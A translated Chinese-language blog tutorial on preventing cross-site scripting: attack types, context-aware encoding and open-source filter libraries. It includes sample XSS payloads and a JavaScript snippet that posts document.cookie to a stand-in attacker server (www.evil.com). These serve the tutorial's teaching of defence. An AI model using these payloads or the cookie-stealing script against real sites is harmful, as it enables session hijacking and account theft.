How to Prevent Cross-Site Scripting Attacks

Andrew.Hann發表於2013-10-24

How to Prevent Cross-Site Scripting Attacks
Reference From: http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/
Translated By: LittleHann

 

 

 

1. 簡介
跨站點指令碼(XSS)是當前web應用中最危險和最普遍的漏洞之一。安全研究人員在大部分最受歡迎的網站,包括Google, Facebook, Amazon, PayPal等網站都發現這個漏洞。如果你密切關注bug賞金計劃,會發現報導最多的問題屬於XSS。為了避免跨站指令碼,瀏覽器也有自己的過濾器,但安全 研究人員總是能夠設法繞過這些過濾器。這種漏洞(XSS)通常用於發動cookie竊取、惡意軟體傳播(蠕蟲攻擊),會話劫持,惡意重定向。在這種攻擊 中,攻擊者將惡意JavaScript程式碼注入到網站頁面中,這樣”受害”者的瀏覽器就會執行攻擊者編寫的惡意指令碼。這種漏洞容易找到,但很難修補。這就 是為什麼你可以在任何網站發現它的身影。

在這篇文章中,我們將看到跨站指令碼攻擊是什麼以及如何建立一個過濾器來阻止它。我們還將看到幾個開源庫,將幫助你修補在web應用程式中的跨站指令碼漏洞。

 

 

 

2. 跨站點指令碼是什麼?
跨站點指令碼攻擊是一種Web應用程式的攻擊,攻擊者嘗試注入惡意指令碼程式碼到受信任的網站上執行惡意操作。 在跨站點指令碼攻擊中,惡意程式碼在受影響使用者的瀏覽器端執行,並對使用者的影響。也被稱為XSS攻擊。你可能有一個疑問就是為什麼我們叫它”XSS”,而不 是”CSS”。對於廣大的web程式猿來說。在網頁設計中,我們已經把級聯樣式表叫做CSS。因此為了避免混淆,我們把cross-site scripting稱為XSS。

現在,讓我們回到XSS攻擊。這個漏洞發生在網站應用程式接收使用者的輸入資料卻沒有做必要的編碼。如果對使用者輸入的資料沒有進行正確的編碼和過濾,這個被 注入惡意指令碼將被髮送給其他使用者。 對瀏覽器來說,它沒有辦法知道它不應該相信一個指令碼的合法性。瀏覽器會正常地把這個指令碼當成普通指令碼執行,這個時候惡意的操作就不可避免的發生了。大部分 的時候,XSS是用來竊取cookie,或竊取有效使用者的會話令牌session,以此進行會話劫持。

 

 

 

 

3. XSS的演示

Example 1:
幾乎所有的網站上看到一個搜尋框。有了這個搜尋框,你可以搜尋並找到在網站上存放的資料。這種搜尋形式看起來像這樣

<form action=”search.php” method=”get”>
    <input type=”text” name=”q” value=”" />
    <input type=”submit” value=”send” />
</form>


 

在search.php頁面中,程式碼顯示了搜尋的結果,並且列出了使用者輸入的搜尋關鍵字。形式如下:
“Search results for Keyword”或者”You Searched for Keyword”

search.php可以這麼寫來模擬功能:

<h3>You Searched for: <?php echo($_GET['q']); ?>


無論你輸入任何關鍵字,它將隨搜尋結果一起被顯示在網頁上。現在想想會發生什麼,如果一個攻擊者試圖從這個地方注入以下惡意指令碼。

<script>alert(‘XSS injection’)</script>


可以看到,因為缺少對使用者輸入的有效的”編碼”和”過濾”。導致了XSS攻擊的發生,其實從本質上理解,XSS就是一種HTML的注入,和傳統的 buffer overflow是類似的思想,即沒有對資料和程式碼進行有效的分離,在緩衝區溢位總,攻擊者在通過超長的資料包傳送覆蓋了程式buffer的關鍵返回 ret位置,導致CPU控制流的劫持,錯誤地把攻擊者資料當作程式碼來執行,最後導致了緩衝區溢位。

而XSS中的HTML注入也是一種利用程式碼和資料未有效分離的攻擊,只不過攻擊發生在受害者使用者的瀏覽器上,攻擊者將資料傳送給伺服器,伺服器沒有對輸入 的資料進行有效的”編碼”和”過濾”(即去除資料本身的程式碼特性,對於HTML來說就是去除它們稱為Tag標籤的可能),導致了這些資料在使用者的瀏覽器上 得到執行,最終導致XSS攻擊的發生。

 

 

 

 

 

Example 2:

很多網站都有私信或者留言板功能。登入使用者可以發表評論或者給其他使用者(包括管理員)傳送私信。一個最簡單的模擬表單如下:
<form action=”sendmessage.php” method=”post’”>
    <textarea name=”message”> </textarea>
    <input type=”submit” value=”send” />
</form>


當使用者點選傳送時,這條訊息會被儲存在資料庫中指定的資料表中,另一個使用者當開啟這條訊息的 時候將看到傳送的內容。但是,如果一個惡意攻擊者傳送的內容包含了一些javascript程式碼,這些程式碼用於偷取敏感的cookie資訊。當使用者開啟看 到這條訊息的時候,惡意的javascript程式碼就會得到執行,造成敏感cookie資訊洩漏。攻擊者可以利用獲得這些cookie資訊進行 session hijacking會話劫持,直接以合法使用者的身份登入其他使用者的賬戶。


惡意攻擊者可以在訊息框中加入一下javascript程式碼:

var url = “http://www.evil.com/index.php”;   //攻擊者控制的伺服器
var postStr = “ck=” + document.cookie;
var ajax = null;
if(window.XMLHttpRequest())
{
    ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
    ajax = new ActiveXObject(“Microsoft.XMLHttp”);
}
else
{
    return;
}
ajax.open(“POST”, url, true);
ajax.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
ajax.send(postStr);

ajax.onreadystatechange = function()
{
    if(ajax.readyState == 4 && ajax.status == 200)
    {
        //alert(“Done!”);
    }
}

通過AJAX非同步請求,將被攻擊者的敏感cookie資訊傳送給了攻擊者控制的伺服器。攻擊者隨後即可利用這些cookie資訊以”合法”使用者的身份進行登入操作。


這裡首先要理清楚幾個重要的問題:

1. cookie的作用

http://baike.baidu.com/link?url=lhPr_Ry6o_NWageEKqNw_8PPki2xde02T9neDYK0hcVyS-yjig0_nTtuEr2Sg4m1cGcHcg9G6cq0zqTY8z6X8D84Qg5jcSFGU9ad3WpWrhC

也就是說,cookie是使用者和伺服器之間的橋樑。伺服器可以使用session來儲存使用者的身份資訊(ID,購物車等),但是需要使用者在訪問網頁(傳送 HTTP資料包)的時候附帶上相應的cookie,通過cookie中的特定值來識別sessionID,才能把單獨使用者和單獨的session聯絡起 來。cookie是有狀態HTTP互動的一種重要機制。

 

2. 瀏覽器的同源策略

在進行cookie竊取的時候,攻擊者偷取的cookie是什麼,是全部cookie,還是當前這個網站的cookie?要解決這個問題,我們要先了解一些瀏覽器的同源策略。

http://baike.baidu.com/link?url=wS_sXrEuvjO8MsnfmFWdy_rT_hPPuZIjcA60owJbRVwYQlnUkmIHd_N38WFenMg3CDULUrSe_DQ6lWlojdnNma

同源策略(Same Origin Policy)是一種約定,它是瀏覽器最核心也是最基本的安全功能,如果缺少了同源策略,則瀏覽器的正常功能可能都會受到影響。可以說web是構建在同源策略的基礎之上的,瀏覽器只是針對同源策略的一種實現。
瀏覽器的同源策略限制了來自不同源的”document”或指令碼,對當前”document”的讀取或者設定某些屬性。為了不讓瀏覽器的頁面行為發生混亂,瀏覽器提出了”Origin”(源)這以概念,來自不同的Origin的物件無法互相干擾。

因為同源策略的原因,也就導致了我們的XSS Payload(XSS攻擊程式碼)必須在我們希望攻擊的同一個域下觸發。例如攻擊者如果想竊取在www.a.com下的cookie,那就必須在 www.a.com這個域(可以是不同頁面,但要保證是同一個域)下的的某一個頁面放置XSS程式碼,可以是儲存型,也可以是反射型或DOM Baesd型的。







4. XSS攻擊的種類

對XSS的分類沒有明確的標準,但業界普遍將XSS攻擊分為三類。反射型XSS(non-persistent XSS), 儲存型XSS(persistent XSS), DOM Based XSS


4.1 非永續性跨站點指令碼攻擊
非永續性XSS也稱為反射型跨站漏洞。它是最常見的型別的XSS。漏洞產生的原因是攻擊者注入的資料反映在響應中。如果你看了我們上面所示的例子,第一個 例子是一個非持久的XSS攻擊。一個典型的非永續性XSS包含一個帶XSS攻擊向量的連結(即每次攻擊需要使用者的點選)。

4.2 持久的跨站點指令碼攻擊
持久型跨站點指令碼也稱為儲存跨站點指令碼。它一般發生在XSS攻擊向量(一般指XSS攻擊程式碼)儲存在網站資料庫,當一個頁面被使用者開啟的時候執行。每當用 戶開啟瀏覽器,指令碼執行。在上面的示例中,第二個例子就展示了一個持久的XSS攻擊。持久的XSS相比非永續性XSS攻擊危害性更大,因為每當使用者開啟頁 面,檢視內容時指令碼將自動執行。谷歌的orkut曾經就遭受到XSS。

4.3 基於dom的跨站點指令碼攻擊
基於DOM的XSS有時也稱為type0 XSS。當使用者能夠通過互動修改瀏覽器頁面中的DOM(Document Object Model)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。
通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
<script>
    function test()
    {
        var str = document.getElementById(“text”).value;
        document.getElementById(“t”).innerHTML = “<a href=’” + str + “‘ >testLink</a>”;
    }
</script>
<div id=”t”></div>
<input type=”text” id=”text” value=”" />
<input type=”button” id=”s” value=”write” onclick=”test()” />

在這個場景中,程式碼修改了頁面的DOM節點,通過innerHTML把一段使用者資料當作HTML寫入到頁面中,這就造成了DOM Based XSS
‘ onclick=alert(/xss/) ‘

輸入後,頁面程式碼就變成了:
<a href=” onclick=alert(/xss/) ” >testLink</a>
點選這個新生成的連結,指令碼將被執行。

實際上,這裡還有另外一種利用方式—除了構造一個新事件外,還可以選擇閉合掉<a>標籤,並插入一個新的HTML標籤:
‘><img src=# onerror=alert(/xss2/) /><’
頁面程式碼變成了:
<a href=”><img src=# onerror=alert(/xss2/) /><” >testLink</a>






5. XSS漏洞產生的原因

跨站點指令碼的主要原因是程式猿對使用者的信任。開發人員輕鬆地認為使用者永遠不會試圖執行什麼出 格的事情,所以他們建立應用程式,卻沒有使用任何額外的程式碼來過濾使用者輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用製造出一種行之有效 的XSS過濾器是一件比較困難的事情。
但是這只是相對的,對使用者輸入資料的”編碼”和”過濾”在任何時候都是很重要的,我們必須採取一些針對性的手段對其進行防禦。




6. 如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊程式碼


6.1 需要重點”編碼”和”過濾”的物件

The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data

防禦XSS有一個原則:

以當前的應用系統為中心,所有的進入應用系統的資料都看成是輸入資料(包括從FORM表單或者從資料庫獲取到的資料),所有從當前應用系統流出的資料都看作是輸出(包括輸出到使用者瀏覽器或向資料庫寫入資料)

對輸入的資料進行”過濾”,對輸出資料進行”編碼”。這裡的”編碼”也要注意,必須針對資料具體的上下文語境進行鍼對性的編碼。例如資料是輸出到HTML 中的那就要進行HtmlEncode,如果資料是輸出到javascript程式碼中進行拼接的,那就要進行javascriptEncode。

如果不搞清楚資料具體輸出的語境,就有可能因為HtmlParser()和javascriptParser()兩種解析引擎的執行先後問題導致看似嚴密的”編碼”形同虛設。


6.2 HtmlEncode HTML編碼

它的作用是將字元轉換成HTMLEntities,對應的標準是ISO-8859-1
為了對抗XSS,在HtmlEncode中要求至少轉換以下字元:
&   –>   &amp;
<   –>   &lt;
>   –>   &gt;
“   –>   &quot;
‘   –>   '
/   –>   /

在PHP中:
htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp

htmlspecialchars

http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp



6.3 javascriptEncode javascript”編碼”

javascriptEncode與HtmlEncode的編碼方法不同,HtmlEncode是去編碼,而javascriptEncode更多的像轉義, 它需要使用”\”對特殊字元進行轉義。從原理上來講,這都符合編碼函式的一個大原則: 將資料和程式碼區分開,因為對於HTML Tag來說,我們對其進行”視覺化(轉換成可以見字元)”的編碼可以將資料和HTML的界限分開。而對於javascript來說,我們除了要進行編碼之 外,還需要對特殊字元進行轉義,這樣攻擊輸入的用於”閉合”的特殊字元就無法發揮作用,從而避免XSS攻擊,除此之外,在對抗XSS時,還要求輸出的變數 必須在引號內部,以避免造成安全問題。


escape()
http://www.w3school.com.cn/js/jsref_escape.asp
該方法不會對 ASCII 字母和數字進行編碼,也不會對下面這些 ASCII 標點符號進行編碼: * @ – _ + . / 。其他所有的字元都會被轉義序列(十六進位制\xHH)替換。
利用這個編碼函式,不僅能防禦XSS攻擊,還可以防禦一些command注入。






7. 一些開源的防禦XSS攻擊的程式碼庫

PHP AntiXSS
這是一個不錯的PHP庫,可以幫助開發人員增加一層保護,防止跨站指令碼漏洞。
https://code.google.com/p/php-antixss/

xss_clean.php filter
https://gist.github.com/mbijon/1098477

HTML Purifier
http://htmlpurifier.org/

xssprotect
https://code.google.com/p/xssprotect/

XSS HTML Filter

http://finn-no.github.io/xss-html-filter/

相關文章